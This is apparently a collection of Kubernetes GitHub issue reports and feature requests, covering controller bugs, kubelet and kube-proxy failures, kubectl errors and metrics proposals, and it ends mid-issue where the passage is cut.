is this a bug report or feature request?  :\r  \r   what happened  :\r a deployment caused the creation of a replicaset. \r the deployment has a emptydir: sizelimit: \ 0\  in it.\r however the replica set converted this into a emptydir: {}.\r this caused an equality failure during verification in the replication set creation in the controller.\r as a result we ended up endlessly creating replica sets.\r this problem can be significantly exacerbated by mutating webhooks.\r we need a better mechanism for validating creation than a simple equality check.\r \r   what you expected to happen  :\r a valid replicaset was created and then modifications to it did not cause endless creation.\r \r   how to reproduce it  as minimally and precisely as possible   :\r 1  emptydir: sizelimit: \ 0\  is no longer a valid deployment  it was in an earlier release  . create it manually in etcd.\r 2  create a mutating webhook for replica set which alters some trivial field.\r \r   anything else we need to know?  :\r \r   environment  :\r - kubernetes version  use  kubectl version  : 1.8\r - cloud provider or hardware configuration: gce\r  \r 

 \r   what happened  : i have 2 clusters setup and when i try to stand up cluster federation, it fails to start because i don't have a cloud provider with load balancer capabilities.\r \r   what you expected to happen  : kubeadm to initialize properly without need of a load balancer from a cloud provider. it'd be great if it could stand up a haproxy service and manage haproxy for its needs.\r \r   how to reproduce it  as minimally and precisely as possible   :\r \r    \r kubeadm init --pod-network-cidr=10.32.0.0/12 --feature-gates=coredns=true\r \r kubefed init fellowship \\\r     --host-cluster-context=kubernetes-admin@kubernetes \\\r     --dns-provider=\ coredns\  \\\r     --dns-zone-name=\ example.com.\ \r    \r \r output  it goes on like this for a while \r \r    \r creating a namespace federation-system for federation system components... done\r creating federation control plane service..............................................................................................\r    \r \r   anything else we need to know?  :\r \r your documentation does list that i need loadbalancer support, but there's got to be a way where we could use haproxy/nginx as a k8s service to solve this dependency.\r \r    \r support for loadbalancer services in member clusters of federation is mandatory to enable coredns for service discovery across federated clusters\r    \r \r    \r kubectl get svc --namespace=federation-system\r name        type           cluster-ip       external-ip   port s          age\r apiserver   loadbalancer   10.100.214.150   <pending>     443:30652/tcp   1m\r     \r \r    \r kubectl describe svc apiserver --namespace=federation-system\r name:                     apiserver\r namespace:                federation-system\r labels:                   app=federated-cluster\r annotations:              federation.alpha.kubernetes.io/federation-name=fellowship\r selector:                 app=federated-cluster,module=federation-apiserver\r type:                     loadbalancer\r ip:                       10.100.214.150\r port:                     https  443/tcp\r targetport:               https/tcp\r nodeport:                 https  30652/tcp\r endpoints:                <none>\r session affinity:         none\r external traffic policy:  cluster\r events:                   <none>\r    \r \r   environment  :\r - kubernetes version  use  kubectl version  : 1.9.2\r - cloud provider or hardware configuration: openstack icehouse\r - os  e.g. from /etc/os-release : centos 7.latest\r - kernel  e.g.  uname -a  : 3.10.0-693.11.6.el7.x86_64\r - install tools:\r - others:\r

<!-- this form is for bug reports and feature requests only! \r \r if you're looking for help check  stack overflow  https://stackoverflow.com/questions/tagged/kubernetes  and the  troubleshooting guide  https://kubernetes.io/docs/tasks/debug-application-cluster/troubleshooting/ .\r -->\r \r   is this a bug report or feature request?  :\r \r  \r   what happened  :\r \r the node lifecycle controller is using a different way to check if an instance exists in the cloud than the cloud node controller. it should be using   instanceexistsbyproviderid   https://github.com/kubernetes/kubernetes/blob/6d0b71740f6b7cc3c61794b01d2a8f6361e3deff/pkg/cloudprovider/cloud.go l148 , which matches the  cloud node controller check  https://github.com/kubernetes/kubernetes/blob/6d0b71740f6b7cc3c61794b01d2a8f6361e3deff/pkg/controller/cloud/node_controller.go l415 .\r \r  \r cc @cheftako \r \r /assign

   what happened  : start a cluster using ./hack/local-up.sh. \r now just monitor the memory on kube-apiserver and kube-controller-manager. \r without doing anything else note the memory on each process has grown by 500 mb each day.\r tried this for 5 days and saw this steady growth.\r \r   what you expected to happen  :\r memory to remain relatively flat after some initial growth.\r \r   how to reproduce it  as minimally and precisely as possible   :\r run ./hack/local-up.sh and wait.\r \r   anything else we need to know?  :\r \r   environment  : \r - kubernetes version  use  kubectl version  : 1.10\r - cloud provider or hardware configuration: local\r - os  e.g. from /etc/os-release : debian gnu/linux\r - kernel  e.g.  uname -a  : debian 4.9.65-3+deb9u2\r - install tools:\r - others:\r

<!-- this form is for bug reports and feature requests only! \r \r if you're looking for help check  stack overflow  https://stackoverflow.com/questions/tagged/kubernetes  and the  troubleshooting guide  https://kubernetes.io/docs/tasks/debug-application-cluster/troubleshooting/ .\r -->\r \r   is this a bug report or feature request?  :\r \r > uncomment only one, leave it on its own line: \r >\r  >  \r \r   what happened  :\r a pr that used to pass tests is now failing some, with a complaint that looks like it is from broken testing infrastructure.  see https://k8s-gubernator.appspot.com/pr/60685 and  60685 .  the recent failures have the following in their build logs:\r    \r i0410 19:59:22.743  push-build.sh::common::set_cloud_binaries  : /google-cloud-sdk/bin/gcloud --quiet auth configure-docker\r i0410 19:59:30.539  error:  gcloud.auth  invalid choice: 'configure-docker'.\r    \r \r   what you expected to happen  :\r tests that passed in the past to pass again today.\r \r   how to reproduce it  as minimally and precisely as possible   :\r run a test today, against release-1.9.\r \r   anything else we need to know?  :\r \r   environment  :\r - kubernetes version  use  kubectl version  : release-1.9\r - cloud provider or hardware configuration: gce\r - os  e.g. from /etc/os-release : whatever those tests use\r - kernel  e.g.  uname -a  : whatever those tests use\r - install tools: whatever those tests use\r - others:\r

it seems like load test is occasionally flaking in kubemark-5000 job due to errors like:\r \r    \r creating { replicationcontroller} load-small-5509\r expected error:\r     < errors.errorstring | 0xc42009b540>: {\r         s: \ timed out waiting for the condition\ ,\r     }\r     timed out waiting for the condition\r not to have occurred\r    \r \r this happened twice in the last week:\r \r - https://k8s-gubernator.appspot.com/build/kubernetes-jenkins/logs/ci-kubernetes-kubemark-gce-scale/1083\r - https://k8s-gubernator.appspot.com/build/kubernetes-jenkins/logs/ci-kubernetes-kubemark-gce-scale/1094\r \r /assign @mborsz \r if you could take a look into it.\r \r cc @kubernetes/sig-scalability-bugs

 \r  @dawn chen\r \r   what happened  :\r when i configure clusterrole, i can only choose to query all nodes, i want to query only salve nodes, how to configure an implementation to query only slave nodes？\r \r my configuration:\r - apigroups:\r   - \ \ \r   resources:\r   - nodes\r   verbs:\r   - get\r   - list\r \r kubectl execution result：\r kubectl get node\r master1   ready    master,monitor,node   63d   v1.12.1\r master2   ready    master,monitor,node   63d   v1.12.1\r master3   ready    master,monitor,node   63d   v1.12.1\r slave1    ready    node                  63d   v1.12.1\r slave2    ready    node                  63d   v1.12.1\r slave3    ready    node                  63d   v1.12.1\r \r \r   what you expected to happen  :\r when i execute the kubectl command, i just want to get the slave node.how to realize this?\r \r   how to reproduce it  as minimally and precisely as possible   :\r run the following command:\r kubectl get node\r \r   environment  :\r - kubernetes version  use  kubectl version  :1.12.1\r - os  e.g:  cat /etc/os-release  :ubuntu16.04\r \r

<!-- please use this template while reporting a bug and provide as much info as possible. not doing so may result in your bug not being addressed in a timely manner. thanks!\r \r if the matter is security related, please disclose it privately via https://kubernetes.io/security/\r -->\r \r \r   what happened  :\r \r kubelet terminated unexpectedly during hack/local-up-cluster\r    \r $ sudo path=$path hack/local-up-cluster.sh\r ...\r alternatively, you can write to the default kubeconfig:\r \r   export kubernetes_provider=local\r \r   cluster/kubectl.sh config set-cluster local --server=https://localhost:6443 --certificate-authority=/var/run/kubernetes/server-ca.crt\r   cluster/kubectl.sh config set-credentials myself --client-key=/var/run/kubernetes/client-admin.key --client-certificate=/var/run/kubernetes/client-admin.crt\r   cluster/kubectl.sh config set-context local --cluster=local --user=myself\r   cluster/kubectl.sh config use-context local\r   cluster/kubectl.sh\r w0612 13:13:27 : kubelet terminated unexpectedly, see /tmp/kubelet.log\r    \r kubelet log\r    \r i0612 13:13:26.603449  174709 plugins.go:103  no cloud provider specified.\r i0612 13:13:26.603467  174709 server.go:540  no cloud provider specified: \ \  from the config file: \ \ \r f0612 13:13:26.605288  174709 server.go:272  failed to run kubelet: failed to get the kubelet's cgroup: cpu and memory cgroup hierarchy not unified.  cpu: /user.slice, memory: /user.slice/user-484802.slice/session-c2.scope\r    \r as a result apiserver cannot find the node to schedule pods\r    \r $ kubectl get nodes\r no resources found.\r $ kubectl get po foo -oyaml\r ...\r status:\r   conditions:\r   - lastprobetime: null\r     lasttransitiontime: \ 2019-06-12t20:22:18z\ \r     message: no nodes available to schedule pods\r     reason: unschedulable\r     status: \ false\ \r     type: podscheduled\r    \r   what you expected to happen  :\r \r kubelet runs successfully and hack/local-up-cluster creates a single node cluster\r \r   how to reproduce it  as minimally and precisely as possible   :\r \r run hack/local-up-cluster from head\r \r   anything else we need to know?  :\r \r 1. the additional cgroups check seemed to be introduced in https://github.com/kubernetes/kubernetes/commit/f8dff6bd5b700d624b802b747160576473c558d7; hack/local-up-cluster works when i check out the parent commit https://github.com/kubernetes/kubernetes/commit/21bec91e895a828ee8ed8d45a7d58279b8cae46f\r    \r $ kubectl get nodes\r name        status   roles    age    version\r 127.0.0.1   ready    <none>   2m3s   v1.15.0-alpha.3.179+21bec91e895a82-dirty\r    \r \r 2. we have ci for hack/local-up-cluster and  it's green  https://k8s-testgrid.appspot.com/sig-testing-misc ci-kubernetes-local-e2e , so i'm not sure if it's an error on my side. it would be greatly appreciated if someone could explain it to me\r \r   environment  :\r - kubernetes version  use  kubectl version  :\r - cloud provider or hardware configuration:\r - os  e.g:  cat /etc/os-release  : debian gnu/linux\r - kernel  e.g.  uname -a  : \r - install tools:\r - network plugin and version  if this is a network-related bug :\r - others:\r \r  cc @dashpole

based on discussion https://github.com/kubernetes/kubernetes/pull/12894 discussion_r38253051  there is no way right now to control the behavior of util.time for tests. hence, timestamp fields set based on that cant be tested properly. we need a way to test that. @bgrant0607 suggested using a simulated clock. util.now should take a clock interface. we can pass a standard clock in our code, but pass a simulated code in tests.  cc @lavalamp

i've been hacking around with the  master.go  implementation in  13978 ,  and stumbled on the fact that i think we don't have an e2e test which modifies a service endpoint ip address.  if we can create such a test, i.e., one which runs this in an e2e fashion, continually modifying services and confirming that they continue to stay functional.  we will be putting a good regression of the api behaviour/stability for ha modifications.  so, for this issue, lets:  1  confirm that e2e tests are missing an endpoint modification test  i could be missing something !  if we need one, then proceed to -> 2  create a test which implements the above logic from  controller_test.go  as part of an end 2 end functionality suite .

newbie to k8s~  as i know docker has volume plugin, and k8s gets its own too. is it possible that k8s will support docker volume scheme to inherit its volume plugin?  what is k8s plan for volume  docker related volume plan, more specifically ? i tried to search issues and got nothing, maybe i had missed something? any issues or discussion related to this will help.  not sure whom to ping, maybe @thockin ?  in our scene, we are managing data with docker volume plugin maintained by ourselves, not open-source yet . and we are trying to migrate to k8s,   that is what this issue intend to figure out, other solution is appreciated too.

@mzupan reported that the \ no public ip\  warning was being logged every second.  it should not be logged that often: https://github.com/kubernetes/kubernetes/issues/22906 issuecomment-198935575

the way we access the kubernetes service is inconsistent; in all other namespaces it is  https://kubernetes , but in kube-system i don't have a  kubernetes  service  should i? .\r \r when i try to use  kubernetes  from go i get this error:\r    \r get https://kubernetes/api: dial tcp: lookup kubernetes on 100.64.0.10:53: server misbehaving\r    \r \r bboreham pointed out that i can use  kubernetes_service_host , but i feel this inconsistently is likely to continue to surprise people.\r \r it may be something wrong in my configuration  i.e. perhaps the kubernetes service should already be registered in kube-system , but is there some reason _not_ to register it?

is this a bug report or feature request?  choose one :\r \r bug report\r \r kubernetes version  use kubectl version :\r \r master\r \r environment:\r \r any\r \r what happened:\r \r when using the kubelet's register-node option and restarting a kubelet, looks like the reconciliation is happening for only few annotations in case of re-registration:\r \r https://github.com/kubernetes/kubernetes/blob/master/pkg/kubelet/kubelet_node_status.go l133\r \r what you expected to happen:\r \r we expect the node to have all the updated information. as an example, we  re-registered node with different taints and taints are not getting overwritten.\r \r how to reproduce it  as minimally and precisely as possible :\r register the node twice, to see if the taint is getting updated.\r \r ./kubelet --api_servers=http://192.168.150.7:8080 --v=2 --enable_server --allow-privileged --register-node=true --register-with-taints=dec1=asdasasdas:noschedule\r ./kubelet --api_servers=http://192.168.150.7:8080 --v=2 --enable_server --allow-privileged --register-node=true --register-with-taints=dec=asdasasdas:noschedule\r \r refer  43332

is this a bug report or feature request?  :\r \r >  \r \r   what happened  :\r \r ran  kube-proxy  1.7.2 with the same configuration as previously working v1.6.7 and it crashed:\r    \r ./kube-proxy --hostname-override=kube-node-0.kubernetes.mesos --master=https://apiserver.kubernetes.mesos:6443 --kubeconfig=kubeconfig-path/kubeconfig.yaml --healthz-port=0\r \r w0728 12:45:05.444943      73 server.go:188  warning: all flags other than --config, --write-config-to, and --cleanup-iptables are deprecated. please begin using a config file asap.\r i0728 12:45:05.579883      73 server.go:474  using iptables proxier.\r w0728 12:45:05.592373      73 server.go:783  failed to retrieve node info: nodes \ kube-node-0.kubernetes.mesos\  not found\r w0728 12:45:05.592742      73 proxier.go:483  invalid nodeip, initializing kube-proxy with 127.0.0.1 as nodeip\r w0728 12:45:05.592764      73 proxier.go:488  clustercidr not specified, unable to distinguish between internal and external traffic\r i0728 12:45:05.592850      73 server.go:509  tearing down userspace rules.\r i0728 12:45:05.762516      73 conntrack.go:98  set sysctl 'net/netfilter/nf_conntrack_max' to 131072\r i0728 12:45:05.762580      73 conntrack.go:52  setting nf_conntrack_max to 131072\r i0728 12:45:05.762631      73 conntrack.go:98  set sysctl 'net/netfilter/nf_conntrack_tcp_timeout_established' to 86400\r i0728 12:45:05.762651      73 conntrack.go:98  set sysctl 'net/netfilter/nf_conntrack_tcp_timeout_close_wait' to 3600\r panic: runtime error: invalid memory address or nil pointer dereference\r  signal sigsegv: segmentation violation code=0x1 addr=0x28 pc=0x1abd1a6 \r \r goroutine 1  running :\r k8s.io/kubernetes/pkg/proxy/healthcheck.  healthzserver .updatetimestamp 0x0 \r \t/go/src/k8s.io/kubernetes/_output/dockerized/go/src/k8s.io/kubernetes/pkg/proxy/healthcheck/healthcheck.go:292 +0x26\r k8s.io/kubernetes/pkg/proxy/iptables.  proxier .syncloop 0xc420198160 \r \t/go/src/k8s.io/kubernetes/_output/dockerized/go/src/k8s.io/kubernetes/pkg/proxy/iptables/proxier.go:642 +0x62\r k8s.io/kubernetes/cmd/kube-proxy/app.  proxyserver .run 0xc420245320, 0xc420442000, 0xc42021d680 \r \t/go/src/k8s.io/kubernetes/_output/dockerized/go/src/k8s.io/kubernetes/cmd/kube-proxy/app/server.go:723 +0x493\r k8s.io/kubernetes/cmd/kube-proxy/app.  options .run 0xc420442000, 0x0, 0x0 \r \t/go/src/k8s.io/kubernetes/_output/dockerized/go/src/k8s.io/kubernetes/cmd/kube-proxy/app/server.go:226 +0xa0\r k8s.io/kubernetes/cmd/kube-proxy/app.newproxycommand.func1 0xc420413b00, 0xc420134940, 0x0, 0x4 \r \t/go/src/k8s.io/kubernetes/_output/dockerized/go/src/k8s.io/kubernetes/cmd/kube-proxy/app/server.go:341 +0x80\r k8s.io/kubernetes/vendor/github.com/spf13/cobra.  command .execute 0xc420413b00, 0xc42000e100, 0x4, 0x4, 0xc420413b00, 0xc42000e100 \r \t/go/src/k8s.io/kubernetes/_output/dockerized/go/src/k8s.io/kubernetes/vendor/github.com/spf13/cobra/command.go:603 +0x22b\r k8s.io/kubernetes/vendor/github.com/spf13/cobra.  command .executec 0xc420413b00, 0xc420681f60, 0xc420681f58, 0xc4202e9c20 \r \t/go/src/k8s.io/kubernetes/_output/dockerized/go/src/k8s.io/kubernetes/vendor/github.com/spf13/cobra/command.go:689 +0x339\r k8s.io/kubernetes/vendor/github.com/spf13/cobra.  command .execute 0xc420413b00, 0x20470f0, 0xc4200001a0 \r \t/go/src/k8s.io/kubernetes/_output/dockerized/go/src/k8s.io/kubernetes/vendor/github.com/spf13/cobra/command.go:648 +0x2b\r main.main  \r \t/go/src/k8s.io/kubernetes/_output/dockerized/go/src/k8s.io/kubernetes/cmd/kube-proxy/proxy.go:44 +0x96\r    \r \r   what you expected to happen  :\r \r  kube-proxy  works as in version 1.6.7.\r \r   how to reproduce it  as minimally and precisely as possible   :\r \r the command line is show in the first line of the log above.\r \r   anything else we need to know?  :\r \r   environment  :\r - kubernetes version  use  kubectl version  : v1.7.2  all components from v1.7.2 tag \r - cloud provider or hardware configuration: running in mesos similar to how kubernetes-mesos framework used to.\r

<!-- this form is for bug reports and feature requests only! \r \r if you're looking for help check  stack overflow  https://stackoverflow.com/questions/tagged/kubernetes  and the  troubleshooting guide  https://kubernetes.io/docs/tasks/debug-application-cluster/troubleshooting/ .\r -->\r \r   is this a bug report or feature request?  :\r \r  \r   what happened  :\r kubectl apply fails with \ unable to find api field in struct container for the json field \ $setelementorder/env\ \ \r \r   what you expected to happen  :\r should not fail\r \r   how to reproduce it  as minimally and precisely as possible   :\r using kubectl v1.7, if the modified version\r - deletes an element from an array  say  env  \r - reorders or modifies another array  say  volumemounts  \r \r applying the modified version will result in this error.\r \r   anything else we need to know?  :\r \r   environment  :\r - kubernetes version  use  kubectl version  : 1.7\r - cloud provider or hardware configuration  : gke\r - os  e.g. from /etc/os-release : ubuntu\r - kernel  e.g.  uname -a  : 3.13.0-116-generic\r - install tools: gke\r - others:\r

todo: the beta annotations have been deprecated, remove them when we release k8s 1.8.  https://github.com/kubernetes/kubernetes/blob/master/pkg/api/annotation_key_constants.go l98 \r \r as we are on the 1.8 train now, is it time to remove these deprecated annotations? i have already made the cleanup on my local branch. i can send a pr once i get the ticket : \r \r   /assign\r /cc @mrhohn

<!-- this form is for bug reports and feature requests only! \r \r if you're looking for help check  stack overflow  https://stackoverflow.com/questions/tagged/kubernetes  and the  troubleshooting guide  https://kubernetes.io/docs/tasks/debug-application-cluster/troubleshooting/ .\r -->\r \r i find both iptables proxier and userspace proxier consume islocalip  , see\r \r https://github.com/kubernetes/kubernetes/blob/master/pkg/proxy/iptables/proxier.go l1668-l1683\r \r https://github.com/kubernetes/kubernetes/blob/master/pkg/proxy/userspace/proxier.go l835-l850\r \r i think we can move islocalip   to pkg/proxy/util package so that it can be consumed among different proxiers. \r \r btw, function  shouldskipservice    https://github.com/kubernetes/kubernetes/blob/master/pkg/proxy/iptables/proxier.go l690-l702  can be moved to pkg/proxy/util package as well so that other proxiers can consume it.\r \r  \r /assign @m1093782566\r

what happened  :\r \r invoking   deepcopy-gen   https://github.com/kubernetes/kubernetes/tree/c1062de2ff82362f28637b12053965398bad1588/staging/src/k8s.io/code-generator/cmd/deepcopy-gen   and other code generators  does not output any information regardless of the selected log level, making the generation flow harder to troubleshoot.\r \r   what you expected to happen  :\r \r  deepcopy-gen  is verbose about what it does when the loglevel is set.\r \r   how to reproduce it  as minimally and precisely as possible   :\r \r navigate to  k8s.io/apiextensions-apiserver/examples/client-go  and execute:\r \r    console\r $ deepcopy-gen -v 5 -i ./apis/cr/v1 -h /dev/null\r  no output \r    \r \r   anything else we need to know?  :\r \r using an updated  glog  package solves the problem, which seems surprising to me  looking at the commit history  https://github.com/golang/glog/compare/44145f04b68cf362d9c4df2182967c2275eaefed...master .\r \r    console\r $ deepcopy-gen -v 5 -i ./apis/cr/v1 -h /dev/null\r ...\r error: logging before flag.parse: i1012 13:05:22.300800   39771 deepcopy.go:545  generating deepcopy function for type k8s.io/apiextensions-apiserver/examples/client-go/apis/cr/v1.examplespec\r error: logging before flag.parse: i1012 13:05:22.301055   39771 deepcopy.go:545  generating deepcopy function for type k8s.io/apiextensions-apiserver/examples/client-go/apis/cr/v1.examplestatus\r error: logging before flag.parse: i1012 13:05:22.301313   39771 execute.go:67  assembling file \ /go/src/k8s.io/apiextensions-apiserver/examples/client-go/apis/cr/v1/deepcopy_generated.go\ \r error: logging before flag.parse: i1012 13:05:22.307813   39771 main.go:87  completed successfully.\r    \r

<!-- this form is for bug reports and feature requests only! \r \r if you're looking for help check  stack overflow  https://stackoverflow.com/questions/tagged/kubernetes  and the  troubleshooting guide  https://kubernetes.io/docs/tasks/debug-application-cluster/troubleshooting/ .\r -->\r \r   is this a bug report or feature request?  :\r \r > uncomment only one, leave it on its own line: \r >\r  >  \r \r   what happened  :\r kubernetes vendor directory for csi should be point at csi v0.2 for k8s v1.10.\r there should be no functional changes.\r \r   what you expected to happen  :\r \r   how to reproduce it  as minimally and precisely as possible   :\r \r \r   anything else we need to know?  :\r \r   environment  :\r - kubernetes version  use  kubectl version  :\r - cloud provider or hardware configuration:\r - os  e.g. from /etc/os-release :\r - kernel  e.g.  uname -a  :\r - install tools:\r - others:\r

 \r   what happened  :\r given a kubelet configured with  --cloud-provider=aws ,  --hostname-override=ldm-0110069  and  --register-node=true , the kubelet still tries to register with the api server as the \ aws-specified\  hostname  for example  ip-something.eu-west-1.compute.internal  . this is problematic for custom provisioners if the configured node cert doesn't include the \ aws-format\  node name, as kube-apiserver won't allow the node to register. in general there's very little information in the docs about what the \ cloud-provider\  flag actually does, but imho it's pretty clear that the \ hostname-override\  flag should \ win\   especially since that flag is explicitly documented while the cloud-provider flag isnt .\r \r \r   what you expected to happen  :\r kubelet should register with the configured value of  --hostname-override .\r \r \r   how to reproduce it  as minimally and precisely as possible   :\r configure a kubelet on an aws instance with the flags listed above. in order to verify that this indeed caused by the cloud-provider flag, remove that flag from the kublet parameter and restart the kubelet service/pod. the kubelet is now able to register to the api with the name specified in  hostname-override \r \r \r   anything else we need to know?  :\r \r   environment  :\r - kubernetes version  use  kubectl version  : 1.10.2\r - cloud provider or hardware configuration: aws\r - os  e.g. from /etc/os-release :  ubuntu 16.04\r - kernel  e.g.  uname -a  :\r - install tools: custom\r - others:\r

<!-- this form is for bug reports and feature requests only!\r \r if you're looking for help check  stack overflow  https://stackoverflow.com/questions/tagged/kubernetes  and the  troubleshooting guide  https://kubernetes.io/docs/tasks/debug-application-cluster/troubleshooting/ .\r \r if the matter is security related, please disclose it privately via https://kubernetes.io/security/.\r -->\r \r   is this a bug report or feature request?  :\r \r > uncomment only one, leave it on its own line:\r >\r  >   \r   what happened  :\r whether the pod scheduler successed or failed， no logs can record it in scheduler.info.\r   what you expected to happen  :\r scheduler can print the result of pod scheduled like contorller-manager.info print the result of pod created.\r   how to reproduce it  as minimally and precisely as possible   :\r deploy a pod\r \r   anything else we need to know?  :\r \r   environment  :\r - kubernetes version  use  kubectl version  :\r - cloud provider or hardware configuration:\r - os  e.g. from /etc/os-release :\r - kernel  e.g.  uname -a  :\r - install tools:\r - others:\r

is this a bug report or feature request?  :\r  \r   what happened  :\r csi drivers and in-tree drivers doesn't share e2e tests, as a result, test coverage for csi drivers is not enough.\r \r   what you expected to happen  :\r csi drivers and in-tree drivers should run the same set of e2e tests as much as possible to make test coverage the same level.\r \r   how to reproduce it  as minimally and precisely as possible   :\r n/a\r \r   anything else we need to know?  :\r   \r  66571 made in-tree drivers and testsuites defined in separated logics. so, testsuites refactored there can now be used for csi drivers as well.  \r \r   environment  :\r - kubernetes version: k8s v1.12 alpha\r \r

currently the kubelet exports liveness/readiness probe metric information at an  endpoint 'metrics/probes'  https://github.com/kubernetes/kubernetes/blob/5c2fe63591acab508e1ff5771c3aa70268852318/pkg/kubelet/server/server.go l79 . \r \r the metric data looks like this:\r \r    \r   help prober_probe_result the result of a liveness or readiness probe for a container.\r   type prober_probe_result gauge\r prober_probe_result{container=\ etcd-container\ ,container_name=\ etcd-container\ ,namespace=\ kube-system\ ,pod=\ etcd-server-events-kubernetes-master\ ,pod_name=\ etcd-server-events-kubernetes-master\ ,pod_uid=\ \ ,probe_type=\ liveness\ } 0\r prober_probe_result{container=\ etcd-container\ ,container_name=\ etcd-container\ ,namespace=\ kube-system\ ,pod=\ etcd-server-kubernetes-master\ ,pod_name=\ etcd-server-kubernetes-master\ ,pod_uid=\ \ ,probe_type=\ liveness\ } 0\r prober_probe_result{container=\ fluentd-gcp\ ,container_name=\ fluentd-gcp\ ,namespace=\ kube-system\ ,pod=\ fluentd-gcp-v3.2.0-g7ftb\ ,pod_name=\ fluentd-gcp-v3.2.0-g7ftb\ ,pod_uid=\ \ ,probe_type=\ liveness\ } 0\r prober_probe_result{container=\ kube-apiserver\ ,container_name=\ kube-apiserver\ ,namespace=\ kube-system\ ,pod=\ kube-apiserver-kubernetes-master\ ,pod_name=\ kube-apiserver-kubernetes-master\ ,pod_uid=\ \ ,probe_type=\ liveness\ } 0\r prober_probe_result{container=\ kube-apiserver\ ,container_name=\ kube-apiserver\ ,namespace=\ kube-system\ ,pod=\ kube-apiserver-kubernetes-master\ ,pod_name=\ kube-apiserver-kubernetes-master\ ,pod_uid=\ \ ,probe_type=\ readiness\ } 0\r prober_probe_result{container=\ kube-controller-manager\ ,container_name=\ kube-controller-manager\ ,namespace=\ kube-system\ ,pod=\ kube-controller-manager-kubernetes-master\ ,pod_name=\ kube-controller-manager-kubernetes-master\ ,pod_uid=\ \ ,probe_type=\ liveness\ } 0\r prober_probe_result{container=\ kube-scheduler\ ,container_name=\ kube-scheduler\ ,namespace=\ kube-system\ ,pod=\ kube-scheduler-kubernetes-master\ ,pod_name=\ kube-scheduler-kubernetes-master\ ,pod_uid=\ \ ,probe_type=\ liveness\ } 0\r prober_probe_result{container=\ l7-lb-controller\ ,container_name=\ l7-lb-controller\ ,namespace=\ kube-system\ ,pod=\ l7-lb-controller-v1.2.3-kubernetes-master\ ,pod_name=\ l7-lb-controller-v1.2.3-kubernetes-master\ ,pod_uid=\ \ ,probe_type=\ liveness\ } 0\r    \r \r this is incredibly useful metric information, however, it would be better if these metrics were counters rather than gauges. currently a success probe is registered as a '0' value and a failure is registered as a '1' value. however, depending on your prometheus scrape interval, you can lose bits of information. it would be better if we emitted these metrics as counters.\r \r  node

there are several knobs in the plugins used by the fluentd setups, but none of them are exposed to users of the images. it would be great to have that, without requiring custom images: they're more work, tend to rot, etc.  i noticed that td-agent.conf supports an  @ include  directive. would that work, along with drop-in files in e.g. /etc/td-agent/conf.d/? is there a way perhaps to inject environment variables into configurations? i can help with prs once there's agreement on which approach to choose.  cc @a-robinson @jimmidyson

from  35220.\r \r as comment  here  https://github.com/kubernetes/kubernetes/pull/35220 issuecomment-257635897  mentioned, the resource types that  kubectl apply --prune  will prune by default is hardcoded for now. and we only specify one certain resource version like  v1  and  v1beta1  for one kind in the default whitelist.\r \r we need to figure out a way to handle the older api versions - e.g. v1beta1 jobs. file this issue for todo tracking.\r \r @pwittrock @mikedanese

feature request   \r the current behavior of statefulset is to not create a successor pod before all predecessors are running and ready. the current implementation will not deadlock if more than one pod is failed, but it will fail to make progress if a pod is unhealthy. specifically, if pod-0 and pod-4 are both dead, the current implementation will attempt to resurrect pod-0, but it will not attempt to resurrect pod-4 until pod-0 is running and ready. this behavior is generally safe, and it is required for some categories of statefulsets.\r \r however, for other categories of statefulsets that are able to form a cluster without respect to the ordering and state of deployed pods, this behavior is constraining  39363 and can lead to the application becoming unavailable unnecessarily  41012.\r \r it would be useful to be able to specify an annotation that communicates to the statefulset controller that it can launch more than one pod simultaneously. \r \r    yaml\r statefulset.alpha.kubernetes.io/burst=<replicas>\r     \r \r where \ replicas\  represents the maximum number of sequential replicas that the controller will allow to be unavailable at a given time. constraining the number is useful for applications that need to form a quorum prior to launching further members.\r \r additionally, the semantics below\r \r    yaml\r statefulset.alpha.kubernetes.io/burst=all\r     \r \r where \ all\  indicates that the controller should burst up to statefulset.spec.replicas would be useful for applications that have a uniqueness, but no ordering constraint.\r

some  kubectl  commands fail when  --local  is used with no connection to an api server.\r as far as i am aware, this is happening because of two main reasons:\r 1. the command deals with thirdpartyresources, and therefore needs to handle unstructured objects and map them by hitting the api server later on  there is an issue explaining this further  here  https://github.com/kubernetes/kubernetes/issues/46722  .\r 2. the command uses  api.registry.restmapper    and is able to map a resource without hitting the server, but fails when printing the resource due to  printerforcommand defaulting to using the discovery client to map the given resource  https://github.com/kubernetes/kubernetes/blob/master/pkg/kubectl/cmd/util/factory_builder.go l52 .\r \r a  pr has been opened   45918   https://github.com/kubernetes/kubernetes/pull/45918  to address the second point above.\r \r below is a list of kubectl commands that are not addressed by  45918. they are commands that  support both thirdpartyresources and a  --local  flag:\r -  annotate  https://github.com/kubernetes/kubernetes/blob/master/pkg/kubectl/cmd/annotate.go \r -  label  https://github.com/kubernetes/kubernetes/blob/master/pkg/kubectl/cmd/label.go \r -  patch  https://github.com/kubernetes/kubernetes/blob/master/pkg/kubectl/cmd/patch.go \r \r   kubernetes version    use  kubectl version  :\r    \r client version: version.info{major:\ 1\ , minor:\ 6+\ , gitversion:\ v1.6.0-alpha.2.5874+9a5aa313ec7cc9-dirty\ , gitcommit:\ 9a5aa313ec7cc99c0cb6e9e1ba388764e290d22d\ , gittreestate:\ dirty\ , builddate:\ 2017-06-06t20:04:03z\ , goversion:\ go1.8.1\ , compiler:\ gc\ , platform:\ linux/amd64\ }\r    \r \r cc @fabianofranz @deads2k

is this a bug report or feature request?    choose one :bug report\r \r <!--\r if this is a bug report, please:\r   - fill in as much of the template below as you can.  if you leave out\r     information, we can't help you as well.\r \r if this is a feature request, please:\r   - describe  in detail  the feature/behavior/change you'd like to see.\r \r in both cases, be ready for followup questions, and please respond in a timely\r manner.  if we can't reproduce a bug or think a feature already exists, we\r might close your issue.  if we're wrong, please feel free to reopen it and\r explain why.\r -->\r \r   kubernetes version    use  kubectl version  :\r client version: version.info{major:\ 1\ , minor:\ 8+\ , gitversion:\ v1.8.0-alpha.0.184+3837d951919006\ , gitcommit:\ 3837d9519190069c44a453c145869e1fced52f23\ , gittreestate:\ clean\ , builddate:\ 2017-06-07t06:07:10z\ , goversion:\ go1.8.1\ , compiler:\ gc\ , platform:\ linux/amd64\ }\r server version: version.info{major:\ 1\ , minor:\ 8+\ , gitversion:\ v1.8.0-alpha.0.184+3837d951919006\ , gitcommit:\ 3837d9519190069c44a453c145869e1fced52f23\ , gittreestate:\ clean\ , builddate:\ 2017-06-07t06:07:10z\ , goversion:\ go1.8.1\ , compiler:\ gc\ , platform:\ linux/amd64\ }\r \r   what happened  :\r configure podsecuritypolicy\r    \r spec:\r   allowedhostpaths:\r   - /tmp/foo/\r    \r configure pod\r    \r   volumes:\r       - 